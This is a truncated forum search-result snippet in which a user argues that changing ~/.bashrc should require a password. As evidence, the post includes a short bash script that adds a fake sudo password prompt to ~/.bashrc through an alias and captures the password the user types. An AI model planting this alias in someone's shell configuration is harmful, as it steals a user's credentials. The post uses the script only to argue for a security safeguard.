Search results

  1. S

    I think modifying ~/.bashrc and other alike files should require the password of the user or root privilege.

    Otherwise, the scipts could be easily modified by malicious software, such as this one: #!/bin/bash echo -e 'echo -n "[sudo] password for $(whoami): "\nread -s pw\necho I got your password: $pw' > /tmp/ echo 'alias sudo="bash /tmp/"' >> ~/.bashrc If the user executes the...